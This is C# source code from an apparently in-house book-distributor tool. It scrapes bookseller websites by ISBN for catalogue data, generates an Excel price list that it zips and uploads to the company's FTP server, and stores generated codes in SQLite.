if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
temp = temp.Remove(temp.IndexOf("</div>"));
string[] rows = Regex.Split(temp, "</span>");
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("</a>"))
{
temp = rows[j].Substring(rows[j].IndexOf("\">") + 2);
temp = temp.Remove(temp.IndexOf("<"));
author += temp + ", ";
}
}
try
{
author = author.Remove(author.LastIndexOf(","));
//author = AlphabetCheck.Check(author);
}
catch
{
author = string.Empty;
}
}
// Присваиваем описание
temp = "<div id=\"ABSTRACT_OR_EXCERPT";
if (pageSource.Contains(temp))
{
try
{
description = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
description = description.Substring(description.IndexOf(">") + 1);
description = description.Remove(description.IndexOf("</div>"));
// Иногда в описании присутствуют ссылки (текст содержит <a href = ...>), ищем индексы символов "<" и ">"
// Когда нашли индексы убираем содержимое между ними методом Remove
int startIndex = 0;
int lastIndex = 0;
bool done = false;
while (done != true)
{
char[] tempDescription = description.ToCharArray();
for (int j = 0; j < description.Length; j++)
{
if (tempDescription[j] == '<')
{
startIndex = j;
break;
}
}
for (int k = startIndex; k < description.Length; k++)
{
if (tempDescription[k] == '>')
{
lastIndex = k - startIndex + 1;
break;
}
}
description = description.Remove(startIndex, lastIndex);
if (!description.Contains('<') && !description.Contains('>'))
{
//description = AlphabetCheck.Check(description);
done = true;
}
}
}
catch
{
description = string.Empty;
}
}
// Присваиваем ссылку на картинку
temp = "<div class=\"cover cover-image configurable-index-card-cover-image\">";
if (pageSource.Contains(temp))
{
imageUrl = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
imageUrl = imageUrl.Substring(imageUrl.IndexOf(">") + 1);
imageUrl = imageUrl.Substring(imageUrl.IndexOf("src=\"") + 5);
imageUrl = "https://brill.com" + imageUrl.Remove(imageUrl.IndexOf(".") + 4);
}
temp = "<div class=\"content-box-body null\">";
if (pageSource.Contains(temp))
{
string[] body = Regex.Split(pageSource, temp);
string[] meta = null;
string mainContent = null;
for (int j = 0; j < body.Length; j++)
{
if (body[j].Contains("<div class=\"text-metadata-format\">"))
{
body[j] = body[j].Replace("-", "");
meta = Regex.Split(body[j], "<div class=\"textmetadataformat\">");
break;
}
}
for (int j = 0; j < meta.Length; j++)
{
if (meta[j].Contains(isbn))
{
mainContent = meta[j];
}
}
try
{
bookCover = mainContent.Remove(mainContent.IndexOf("<"));
}
catch { }
try
{
temp = "<dd class=\"availability inline cList__item cList__item secondary textmetadatavalue\">";
availability = mainContent.Substring(mainContent.IndexOf(temp) + temp.Length);
availability = availability.Remove(availability.IndexOf("<"));
}
catch { }
try
{
temp = "<dd class=\"pubdate inline cList__item cList__item secondary textmetadatavalue\">";
pubDate = mainContent.Substring(mainContent.IndexOf(temp) + temp.Length);
pubDate = pubDate.Remove(pubDate.IndexOf("<"));
}
catch { }
try
{
temp = "</abbr>";
price = mainContent.Substring(mainContent.IndexOf(temp) + temp.Length);
price = price.Remove(price.IndexOf("<"));
price = price.Replace("€", "");
price = price.Replace(".", ",");
}
catch { }
}
AddBookToList();
ClearBookList();
}
else
{
AddBookToList();
}
}
}
catch (Exception ex)
{
Errors.CustomError(ex);
}
WorkWithFile.SaveFile(book);
PB.Close();
}
}
}
<file_sep>using System;
using RELOD_Tools.WebSearch;
using System.Data.SQLite;
using System.IO;
using System.Collections.Generic;
using System.Text;
using Microsoft.Win32;
using System.Net;
using System.IO.Compression;
namespace RELOD_Tools.Logic
{
static class WorkWithFile
{
public static string CheckForExceptionsFileExistance(string exceptionsDirectory, string exceptionsFilePath)
{
string exceptions = string.Empty;
if (File.Exists(exceptionsFilePath))
{
exceptions = File.ReadAllText(exceptionsFilePath, Encoding.UTF8);
}
else
{
Directory.CreateDirectory(exceptionsDirectory);
File.Create(exceptionsFilePath);
}
return exceptions;
}
public static void SaveFile(List<BookModel> book)
{
SaveFileDialog sfd = new SaveFileDialog();
string fileName = DateTime.Now.ToString("yyyy-MM-dd HH-mm") + ".txt";
sfd.Title = "Сохранить результат поиска ...";
sfd.DefaultExt = ".txt";
sfd.FileName = fileName;
sfd.Filter = "Текстовый файл (*.txt) | *.txt";
if (sfd.ShowDialog() == true)
{
Stream s = File.Create(sfd.FileName);
StreamWriter sw = new StreamWriter(s, Encoding.Unicode);
foreach (BookModel bm in book)
{
sw.Write(bm.Number + '\t');
sw.Write(bm.Isbn + '\t');
sw.Write(bm.Isbn2 + '\t');
sw.Write(bm.Title + '\t');
sw.Write(bm.Author + '\t');
sw.Write(bm.PubDate + '\t');
sw.Write(bm.Publisher + '\t');
sw.Write(bm.Imprint + '\t');
sw.Write(bm.Supplier + '\t');
sw.Write(bm.PriceWithCurrency + '\t');
sw.Write(bm.Price + '\t');
sw.Write(bm.PriceComparision + '\t');
sw.Write(bm.Discount + '\t');
sw.Write(bm.Availability + '\t');
sw.Write(bm.Availability2 + '\t');
sw.Write(bm.MarketRestrictions + '\t');
sw.Write(bm.Readership + '\t');
sw.Write(bm.Edition + '\t');
sw.Write(bm.Weight + '\t');
sw.Write(bm.Dimensions + '\t');
sw.Write(bm.PubCountry + '\t');
sw.Write(bm.Classification + '\t');
sw.Write(bm.BookCover + '\t');
sw.Write(bm.Pages + '\t');
sw.Write(bm.Series + '\t');
sw.Write(bm.Description + '\t');
sw.Write(bm.Language + '\t');
sw.Write(bm.Contents + '\t');
sw.Write(bm.Length + '\t');
sw.Write(bm.Width + '\t');
sw.Write(bm.Height + '\t');
sw.Write(bm.ImageUrl);
sw.WriteLine();
}
sw.Close();
}
}
public static string[] OpenFile()
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "Текстовый файл (*.txt) | *.txt";
ofd.ShowDialog();
string fileName = ofd.FileName;
string[] fileText = null;
if (fileName != string.Empty)
{
fileText = File.ReadAllLines(fileName, Encoding.UTF8);
return fileText;
}
return fileText;
}
public static void CreateDataBase(string dbName, string dbPath)
{
if (!File.Exists(dbPath + dbName))
{
SQLiteConnection.CreateFile(dbPath + dbName);
SQLiteConnection connection = new SQLiteConnection("Data Source = " + dbPath + dbName);
connection.Open();
SQLiteCommand cmd = new SQLiteCommand(connection);
cmd.CommandText = @"CREATE TABLE IF NOT EXISTS codes (id INTEGER PRIMARY KEY,
code TEXT, date TEXT)";
cmd.ExecuteNonQuery();
connection.Close();
}
}
public static void AddPriceToZIP(string destinationPath)
{
string temp = @"\_temp\"; // Имя временной папки, по завершении работы она будет удалена
string directory = destinationPath.Remove(destinationPath.LastIndexOf("\\")); // Директория, в которой был сохранен прайс (берем путь, и из него удаляем имя файла)
string fileName = destinationPath.Substring(destinationPath.LastIndexOf("\\") + 1); // Выделяем имя файла. Нужно чтобы скопировать файл во временную папку
string startPath = directory + temp; // Путь к архивируемой папке
string zipPath = directory + @"\relod_price.zip"; // Полный путь к выходному файлу
string abbreviations = @"\\Srv2008\relodobmen\Прайс-листы\Список сокращений.doc"; // Файл со списком сокращений
// Создаем временную скрытую папку "_temp" и копируем туда прайс и файл "Список сокращений.doc"
Directory.CreateDirectory(directory + temp);
DirectoryInfo hideFolder = new DirectoryInfo(directory + temp);
hideFolder.Attributes = FileAttributes.Hidden;
File.Copy(destinationPath, directory + temp + fileName, true);
File.Copy(abbreviations, directory + temp + @"\Список сокращений.doc", true);
// Удаляем старый архив и создаем новый
File.Delete(zipPath);
ZipFile.CreateFromDirectory(startPath, zipPath);
// Удаляем временную папку
Directory.Delete(startPath, true);
// Удаляем старый прайс-лист
RemoveOldPrice(directory);
// Загружаем архив на FTP
UploadToFTP(zipPath, directory);
}
public static void UploadToFTP(string zipPath, string directory)
{
string[] login_pass = File.ReadAllLines(@"\\Srv2008\relodobmen\Прайс-листы\dailyUpload\log.txt", Encoding.UTF8);
// Создаем объект FtpWebRequest - он указывает на файл, который будет создан
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://ftp.relod.nichost.ru/files/relod_price.zip");
request.Credentials = new NetworkCredential(login_pass[0], login_pass[1]);
// Устанавливаем метод на загрузку файлов
request.Method = WebRequestMethods.Ftp.UploadFile;
// Создаем поток для загрузки файла
FileStream fs = new FileStream(zipPath, FileMode.Open);
byte[] fileContents = new byte[fs.Length];
fs.Read(fileContents, 0, fileContents.Length);
fs.Close();
// Пишем считанный в массив байтов файл в выходной поток
Stream requestStream = request.GetRequestStream();
requestStream.Write(fileContents, 0, fileContents.Length);
requestStream.Close();
}
public static void RemoveOldPrice(string path)
{
string oldPrice = @"\Price roznitca " + DateTime.Now.AddDays(-1).ToString("dd.MM.yyyy") + ".xlsx";
if (File.Exists(path + oldPrice))
{
File.Delete(path + oldPrice);
}
}
}
}
<file_sep>using RELOD_Tools.WebSearch;
using RELOD_Tools.Logic;
using System.IO;
using System.Net;
using System.Windows;
using System.Windows.Threading;
using System.Threading;
using System;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class BookDepository : SiteSearchModel
{
HttpWebRequest request;
HttpWebResponse response;
StreamReader sr;
CookieContainer cookieContainer = new CookieContainer();
public BookDepository(string[] isbns)
{
string isbnUrl = "https://www.bookdepository.com/search?searchTerm=";
string pageSource = string.Empty;
string temp = string.Empty;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Пауза чтобы не нагружать сервер :)
Thread.Sleep(2000);
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту BookDepository. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
// Отправляем первый запрос по ISBN. Ответом нам будет страница с карточкой товара
if (isbn != "")
{
request = (HttpWebRequest)WebRequest.Create(isbnUrl + isbn);
request.CookieContainer = cookieContainer;
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"; // 537.36
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
//==================================================================================================
// Блок обработки страницы с ответом
if (pageSource != string.Empty && isbn != "")
{
//pageSource = AlphabetCheck.Check(pageSource);
// Блок проверки соответствия ISBN. Сравниваем тот ISBN который был в списке с тем что нашли.
// Если они не равны, тогда в столбце ISBN2 указываем что ISBN не совпадает.
temp = "<span itemprop=\"isbn\">";
string checkISBN = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
checkISBN = checkISBN.Remove(checkISBN.IndexOf("<"));
if (isbn != checkISBN && !pageSource.Contains("Advanced Search"))
{
isbn2 = "ISBN не совпадает: " + checkISBN;
}
// Присваиваем наименование
temp = "<h1 itemprop=\"name\">";
if (pageSource.Contains(temp))
{
title = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
title = title.Remove(title.IndexOf("<"));
title = AlphabetCheck.Check(title);
}
// Присваиваем автора. Авторов может быть несколько ищем все строки
temp = "<div class=\"author-info";
if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
temp = temp.Remove(temp.IndexOf("</div>"));
string[] rows = temp.Split('\n');
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("itemscope=\""))
{
temp = rows[j].Substring(rows[j].IndexOf("itemscope=\"") + 11);
temp = temp.Remove(temp.IndexOf("\""));
author += temp + ", ";
}
}
try
{
author = author.Remove(author.LastIndexOf(","));
author = AlphabetCheck.Check(author);
}
catch
{
author = string.Empty;
}
}
// Присваиваем дату издания
temp = "<span itemprop=\"datePublished\">";
if (pageSource.Contains(temp))
{
pubDate = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubDate = pubDate.Remove(pubDate.IndexOf("<"));
pubDate = AlphabetCheck.Check(pubDate);
}
// Присваиваем издательство
temp = "<span itemprop=\"publisher\"";
if (pageSource.Contains(temp))
{
publisher = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
publisher = publisher.Substring(publisher.IndexOf("itemscope=\"") + 11);
publisher = publisher.Remove(publisher.IndexOf("\""));
publisher = AlphabetCheck.Check(publisher);
}
// Присваиваем импринт
temp = "<label>Imprint</label>";
if (pageSource.Contains(temp))
{
imprint = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
imprint = imprint.Substring(imprint.IndexOf(">") + 1);
imprint = imprint.Remove(imprint.IndexOf("<"));
imprint = AlphabetCheck.Check(imprint);
}
// Присваиваем цену с валютой и без нее
temp = "<span class=\"sale-price\">";
if (pageSource.Contains(temp))
{
priceWithCurrency = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf("<"));
priceWithCurrency = priceWithCurrency.Replace("US$", "") + " USD";
priceWithCurrency = priceWithCurrency.Replace(".", ",");
price = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" "));
}
// Проверяем, есть ли строка, говорящая о недоступности
temp = "<p class=\"list-price\">";
if (pageSource.Contains(temp))
{
availability = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
priceWithCurrency = availability.Substring(availability.IndexOf("$") + 1);
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf("<"));
priceWithCurrency += " USD";
priceWithCurrency = priceWithCurrency.Replace(".", ",");
price = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" "));
availability = availability.Substring(availability.IndexOf(">") + 1);
if (availability.Contains("<p class=\"red-text bold\">"))
{
availability = availability.Substring(availability.IndexOf(">") + 1);
availability = availability.Remove(availability.IndexOf("<"));
}
}
// Присваиваем доступность
temp = "<div class=\"availability-text\">";
if (pageSource.Contains(temp))
{
availability = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
availability = availability.Substring(availability.IndexOf("<p>") + 3);
availability = availability.Remove(availability.IndexOf("<"));
availability = AlphabetCheck.Check(availability);
}
// Присваиваем вес
temp = "<label>Dimensions</label>";
if (pageSource.Contains(temp))
{
try
{
weight = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
weight = weight.Remove(weight.IndexOf("</span>"));
weight = weight.Substring(weight.IndexOf("| ") + 1);
weight = weight.Remove(weight.IndexOf("g"));
weight = weight.Replace(",", "");
weight = weight.Replace(".", ",");
weight = AlphabetCheck.Check(weight);
weight = Math.Round((double.Parse(weight)) / 1000, 3).ToString();
}
catch
{
weight = string.Empty;
}
}
// Присваиваем размеры
temp = "<label>Dimensions</label>";
if (pageSource.Contains(temp))
{
dimensions = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
dimensions = dimensions.Replace("<span>", "");
dimensions = dimensions.Remove(dimensions.IndexOf("mm"));
dimensions = AlphabetCheck.Check(dimensions);
string[] dim = dimensions.Split('x');
try
{
length = Math.Round(double.Parse(dim[1].Replace('.', ','))).ToString();
width = Math.Round(double.Parse(dim[0].Replace('.', ','))).ToString();
height = Math.Round(double.Parse(dim[2].Replace('.', ','))).ToString();
}
catch { }
}
// Присваиваем страну происхождения
temp = "<label>Publication City/Country</label>";
if (pageSource.Contains(temp))
{
pubCountry = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubCountry = pubCountry.Replace("<span>", "");
pubCountry = pubCountry.Remove(pubCountry.IndexOf("<"));
pubCountry = AlphabetCheck.Check(pubCountry);
}
// Присваиваем обложку
temp = "<label>Format</label>";
if (pageSource.Contains(temp))
{
bookCover = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
bookCover = bookCover.Substring(bookCover.IndexOf(">") + 1);
bookCover = bookCover.Remove(bookCover.IndexOf("<"));
// Здесь может быть ошибка. Т.к. не всегда присутствует элемент " | "
try
{
if (bookCover.IndexOf('|') >= 0)
{
bookCover = bookCover.Remove(bookCover.IndexOf("|"));
}
}
catch { }
bookCover = AlphabetCheck.Check(bookCover);
}
// Присваиваем страницы
temp = "<span itemprop=\"numberOfPages\">";
if (pageSource.Contains(temp))
{
pages = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pages = pages.Remove(pages.IndexOf(" "));
}
// Присваиваем описание
temp = "<div class=\"item-excerpt trunc\" itemprop=\"description\" data-height=\"230\">";
if (pageSource.Contains(temp))
{
try
{
description = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
description = description.Remove(description.IndexOf("</div>"));
description = description.Remove(description.IndexOf("<a class"));
//description = description.Remove(description.LastIndexOf("<br />"));
//description = description.Replace("<br />", " ");
if (description.StartsWith("-"))
{
description = description.Replace("-", "'-");
}
// Иногда в описании присутствуют ссылки (текст содержит <a href = ...>), ищем индексы символов "<" и ">"
// Когда нашли индексы убираем содержимое между ними методом Remove
if (description.Contains("<a href"))
{
bool isContainsLink = true;
while (isContainsLink != false)
{
int startIndex = description.IndexOf("<a href");
int lastIndex = description.IndexOf(">", startIndex) + 1;
description = description.Remove(startIndex, lastIndex - startIndex);
description = description.Replace("</a>", "");
if (!description.Contains("<a href"))
{
isContainsLink = false;
}
}
}
description = AlphabetCheck.Check(description);
}
catch
{
description = string.Empty;
}
//==================================================================================================
}
// Присваиваем ссылку на картинку
temp = "<div class=\"item-img-content\">";
if (pageSource.Contains(temp))
{
imageUrl = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
imageUrl = imageUrl.Substring(imageUrl.IndexOf("\"") + 1);
imageUrl = imageUrl.Remove(imageUrl.IndexOf("\" "));
}
AddBookToList();
ClearBookList();
}
else
{
AddBookToList();
}
}
}
catch (Exception ex)
{
Errors.CustomError(ex);
}
WorkWithFile.SaveFile(book);
PB.Close();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data.SQLite;
namespace RELOD_Tools.CodeGeneration
{
public class ShowCodes : IDisposable
{
public void Dispose() { }
public ShowCodes(string dbName, string dbPath)
{
List<CodeModel> codesList = new List<CodeModel>();
SQLiteConnection connection = new SQLiteConnection("Data Source = " + dbPath + dbName);
connection.Open();
SQLiteCommand cmd = new SQLiteCommand(connection);
cmd.CommandText = "SELECT * FROM codes";
SQLiteDataReader rdr = cmd.ExecuteReader();
while (rdr.Read())
{
codesList.Add(new CodeModel { Id = rdr.GetInt32(0), Code = rdr.GetString(1), Date = rdr.GetString(2) });
}
rdr.Close();
connection.Close();
DataGrid DG = new DataGrid();
DG.Title = "Коды";
DG.Show();
DG.dataGrid.ItemsSource = codesList;
}
}
}
<file_sep>namespace RELOD_Tools.PriceList
{
public class PriceModel
{
public int Number { get; set; }
public string ISBN { get; set; }
public string Title { get; set; }
public double Price { get; set; }
public double VAT { get; set; }
public string Group { get; set; }
public string QTYwarehouse { get; set; }
public string QTYstore { get; set; }
public string ShortTitle { get; set; }
}
}
<file_sep>using System.IO;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using RELOD_Tools.PriceList;
using RELOD_Tools.Logic;
using RELOD_Tools.CodeGeneration;
using RELOD_Tools.WebSearch;
using RELOD_Tools.WebParsing.WebSearch;
using RELOD_Tools.AuthorsCompare;
namespace RELOD_Tools
{
public partial class MainWindow : Window
{
string exceptionsDirectory = @".\PriceList";
string exceptionsFilePath = @".\PriceList\Exceptions.txt";
string dbName = "database.db";
string dbPath = @".\";
public MainWindow()
{
InitializeComponent();
// Для вкладки Прайс-лист подгружаем из файла группы для исключения (если нет папки или файла - создаем)
groupsForExclude.Text = WorkWithFile.CheckForExceptionsFileExistance(
exceptionsDirectory,
exceptionsFilePath
);
// На вкладке Прайс-лист выключаем кнопку Сохранить (включается, если будут изменения в поле с группами для исключений)
saveGroupsBtn.IsEnabled = false;
// Проверяем, есть ли файл базы данных (если нет то создаем). База используется только для хранения сгенерированных кодов
WorkWithFile.CreateDataBase(
dbName,
dbPath
);
}
// Блок поиска по сайтам
private void SearchButton_Click(object sender, RoutedEventArgs e)
{
if (userInput.Text != "")
{
string[] isbns = userInput.Text.Split('\n');
userInput.Clear();
this.Hide();
SelectSite.Search(
isbns,
webSite.Text
);
this.Show();
}
else
{
Errors.EmptyISBNError();
}
}
// =============================================
// Блок создания прайс-листа
private void GeneratePrice_Click(object sender, RoutedEventArgs e)
{
new DoPriceList(groupsForExclude.Text, fullPrice.IsChecked);
}
private void SaveGroup_Click(object sender, RoutedEventArgs e)
{
File.WriteAllText(
exceptionsFilePath,
groupsForExclude.Text,
Encoding.UTF8
);
saveGroupsBtn.IsEnabled = false;
}
// Функция, включающая кнопку "Сохранить" если в поле были какие-либо изменения
private void GroupsForExclude_TextChanged(object sender, TextChangedEventArgs e)
{
saveGroupsBtn.IsEnabled = true;
}
// =============================================
// Блок генерирования кодов
private void GenerateCode_Click(object sender, RoutedEventArgs e)
{
CodeGen cg = new CodeGen(
codesQTY.Text,
codesLength.Text,
mustStartWith.Text,
mustEnd.Text,
dbName,
dbPath
);
cg.Dispose();
}
private void ShowCodes_Click(object sender, RoutedEventArgs e)
{
ShowCodes sc = new ShowCodes(
dbName,
dbPath
);
sc.Dispose();
}
// =============================================
// Блок сравнения авторов
private void CompareAuthors_Click(object sender, RoutedEventArgs e)
{
new AuthorsComparer(authors.Text);
authors.Clear();
}
// =============================================
}
}
<file_sep>using Microsoft.Win32;
using RELOD_Tools.Logic;
using System;
using System.Linq;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using OfficeOpenXml;
using OfficeOpenXml.Style;
namespace RELOD_Tools.PriceList
{
public class DoPriceList
{
public DoPriceList(string exceptionsList, bool? fullPrice)
{
List<PriceModel> priceList = new List<PriceModel>();
CultureInfo culture = CultureInfo.CreateSpecificCulture("en-US");
exceptionsList = exceptionsList.Replace("\r", "");
string[] exceptions = exceptionsList.Split('\n');
string[] fileText = WorkWithFile.OpenFile();
string[,] price;
// Проверяем, был ли выбран файл, если нет то прерываем программу
if (fileText == null)
{
return;
}
//==================================================================================================
// Нужно подсчитать количество знаков табуляции. Так мы поймем сколько будет столбцов у будущего массива "price"
int rows = fileText.GetUpperBound(0);
int columns = 0;
string str = fileText[0];
string tab = "\t";
int index = 0; ;
while ((index = str.IndexOf(tab, index)) != -1)
{
columns++;
index = index + tab.Length;
}
price = new string[rows, columns];
//==================================================================================================
// Заполняем массив данными
for (int i = 0; i < rows; i++)
{
string[] temp = fileText[i].Split('\t');
for (int j = 0; j < columns; j++)
{
price[i, j] = temp[j];
}
}
//==================================================================================================
// Проверяем на нулевые цены ("0.00") и исключаем их, если таковые находятся
for (int i = 0; i < rows; i++)
{
if (price[i, 5] == "0.00")
{
price[i, 0] = "0";
}
}
//==================================================================================================
// Блок проверки наименований на наличие.
// Наименования с нулевым количеством на складах (учитываются склад Северянин, Пушкарев и магазин) не будут попадать в прайс-лист
string zero = "0.00";
price[0, 0] = "0";
if (fullPrice == false)
{
for (int i = 0; i < rows; i++)
{
if (price[i, 7] == zero && price[i, 9] == zero && price[i, 11] == zero && price[i,3] != "OUP ELT OL")
{
price[i, 0] = "0";
}
}
}
// Это условие срабатывает если пользователь поставил галку в чек боксе "Полный прайс"
else
{
string op = "OP!";
string na = "NA!";
for (int i = 0; i < rows; i++)
{
if (price[i, 2].EndsWith(op) || price[i, 2].EndsWith(na) && price[i, 7] == zero && price[i, 9] == zero && price[i, 11] == zero)
{
price[i, 0] = "0";
}
}
}
//==================================================================================================
// Блок проверки наименований на "агентское вознаграждение".
// Агентское соглашение не будет попадать в прайс-лист
string agent = "агентское вознаграждение";
for (int i = 0; i < rows; i++)
{
if (price[i, 14] != null && price[i, 14].ToLower().StartsWith(agent))
{
price[i, 0] = "0";
}
}
//==================================================================================================
// Блок проверки групп товаров.
// Если группа товаров равна группе из списка исключений, то такое наименование не будет попадать в прайс
if (fullPrice == false)
{
for (int i = 0; i < rows; i++)
{
for (int j = 0; j < exceptions.Length; j++)
{
if (price[i, 3] == exceptions[j])
{
price[i, 0] = "0";
}
}
}
}
else
{
for (int i = 0; i < rows; i++)
{
for (int j = 0; j < exceptions.Length; j++)
{
if (price[i, 3] == exceptions[j])
{
price[i, 0] = "0";
}
}
if (price[i, 3] == "RELOD Ltd. (RUR)" || price[i, 3] == "RELOD LTD." || price[i, 3] == "SELT" && price[i, 7] == "0.00" && price[i, 9] == "0.00" && price[i, 11] == "0.00")
{
price[i, 0] = "0";
}
}
}
//==================================================================================================
// Блок переноса данных из массива price в итоговый priceList
for (int i = 0; i < rows; i++)
{
if (price[i, 0] != "0")
{
string warehouse;
string store;
double warehouseQTY = double.Parse(price[i, 7], culture) + double.Parse(price[i, 11], culture);
double storeQTY = double.Parse(price[i, 9], culture);
if (warehouseQTY > 10)
{
warehouse = "Более 10 шт";
}
else if (warehouseQTY == 1)
{
warehouse = "Мало";
}
else
{
warehouse = warehouseQTY.ToString();
}
if (storeQTY > 10)
{
store = "Более 10 шт";
}
else if (storeQTY == 1)
{
store = "Мало";
}
else
{
store = storeQTY.ToString();
}
priceList.Add(new PriceModel
{
ISBN = price[i, 1], // присваиваем ISBN
Title = price[i, 14], // присваиваем Наименование
Price = double.Parse(price[i, 6], culture), // присваиваем Цену
VAT = double.Parse(price[i, 4], culture), // присваиваем НДС
Group = price[i, 3], // присваиваем Группу
QTYwarehouse = warehouse, // присваиваем Количество на складах (Северянин + Пушкарев)
QTYstore = store, // присваиваем Количество в магазине
ShortTitle = price[i, 2] // присваиваем Краткое наименование
});
}
}
// Сортируем наш прайс по полю ShortTitle
priceList = priceList.OrderBy(item => item.ShortTitle).ToList();
// Добавляем нумерацию
int count = 1;
foreach (PriceModel item in priceList)
{
item.Number = count;
count++;
}
SaveAsExcel(priceList);
}
private void SaveAsExcel(List<PriceModel> priceList)
{
ExcelPackage.LicenseContext = LicenseContext.NonCommercial;
ExcelPackage excelPackage = new ExcelPackage();
ExcelWorksheet worksheet = excelPackage.Workbook.Worksheets.Add(DateTime.Now.ToString("dd.MM.yyyy"));
// Добавляем шапку в первую строку
worksheet.Cells["A1"].Value = "#";
worksheet.Cells["B1"].Value = "ISBN";
worksheet.Cells["C1"].Value = "Наименование товара";
worksheet.Cells["D1"].Value = "Цена с НДС";
worksheet.Cells["E1"].Value = "НДС";
worksheet.Cells["F1"].Value = "Группа товара";
worksheet.Cells["G1"].Value = "Кол-во на складе";
worksheet.Cells["H1"].Value = "Кол-во в магазине";
worksheet.Cells["I1"].Value = "Краткое наименование";
// Добавляем данные из priceList начиная со второй строки
worksheet.Cells["A2"].LoadFromCollection(priceList);
// Устанавливаем ширину столбцов, кроме последнего ("Краткое наименование")
worksheet.Column(1).AutoFit(); // #
worksheet.Column(2).Width = 16; // ISBN
worksheet.Column(3).Width = 110; // Наименование товара
worksheet.Column(4).Width = 15; // Цена с НДС
worksheet.Column(5).Width = 7; // НДС
worksheet.Column(6).Width = 22; // Группа товара
worksheet.Column(7).Width = 20; // Кол-во на складе
worksheet.Column(8).Width = 20; // Кол-во в магазине
worksheet.Column(9).Width = 25; // краткое наименование
// Устанавливаем границы, автофильтр, жирный шрифт для шапки, закрепляем первую строку,
// а также меняем цифровой формат для столбца с ценами
worksheet.Column(4).Style.Numberformat.Format = "0.00";
worksheet.View.FreezePanes(2,1);
worksheet.Cells["A1:I1"].Style.Font.Bold = true;
worksheet.Cells["A1:I1"].AutoFilter = true;
worksheet.Cells["A1:I" + (priceList.Count + 1)].Style.Border.Top.Style = ExcelBorderStyle.Thin;
worksheet.Cells["A1:I" + (priceList.Count + 1)].Style.Border.Right.Style = ExcelBorderStyle.Thin;
worksheet.Cells["A1:I" + (priceList.Count + 1)].Style.Border.Bottom.Style = ExcelBorderStyle.Thin;
worksheet.Cells["A1:I" + (priceList.Count + 1)].Style.Border.Left.Style = ExcelBorderStyle.Thin;
// Сохраняем файл
SaveFileDialog sfd = new SaveFileDialog();
string fileName = "Price roznitca " + DateTime.Now.ToString("dd.MM.yyyy"); // имя файла по-умолчанию
sfd.Title = "Сохранить прайс-лист ...";
sfd.DefaultExt = ".xlsx";
sfd.FileName = fileName;
sfd.Filter = "Excel (*.xlsx) | *.xlsx";
if (sfd.ShowDialog() == true)
{
FileInfo fi = new FileInfo(sfd.FileName);
excelPackage.SaveAs(fi);
WorkWithFile.AddPriceToZIP(sfd.FileName);
}
}
}
}
<file_sep>using RELOD_Tools.WebParsing.WebSearch.Site;
using RELOD_Tools.WebSearch.Site;
namespace RELOD_Tools.WebSearch
{
static class SelectSite
{
public static void Search(string[] isbns, string webSite)
{
switch (webSite)
{
case "ABE-IPS":
new ABEIPS(isbns); // Gardners search = new Gardners(isbns);
break;
case "American PubEasy":
new AmericanPubEasy(isbns);
break;
case "PubEasy":
new PubEasy(isbns);
break;
case "Gardners":
new Gardners(isbns);
break;
case "Libri":
new Libri(isbns);
break;
case "BookDepository":
new BookDepository(isbns);
break;
case "Ingram":
new Ingram(isbns);
break;
case "Brill":
new Brill(isbns);
break;
}
}
}
}
<file_sep>using System;
namespace RELOD_Tools.WebSearch
{
public class BookModel
{
public string Number { get; set; }
public string Isbn { get; set; }
public string Isbn2 { get; set; }
public string Title { get; set; }
public string Author { get; set; }
public string PubDate { get; set; }
public string Publisher { get; set; }
public string Imprint { get; set; }
public string Supplier { get; set; }
public string PriceWithCurrency { get; set; }
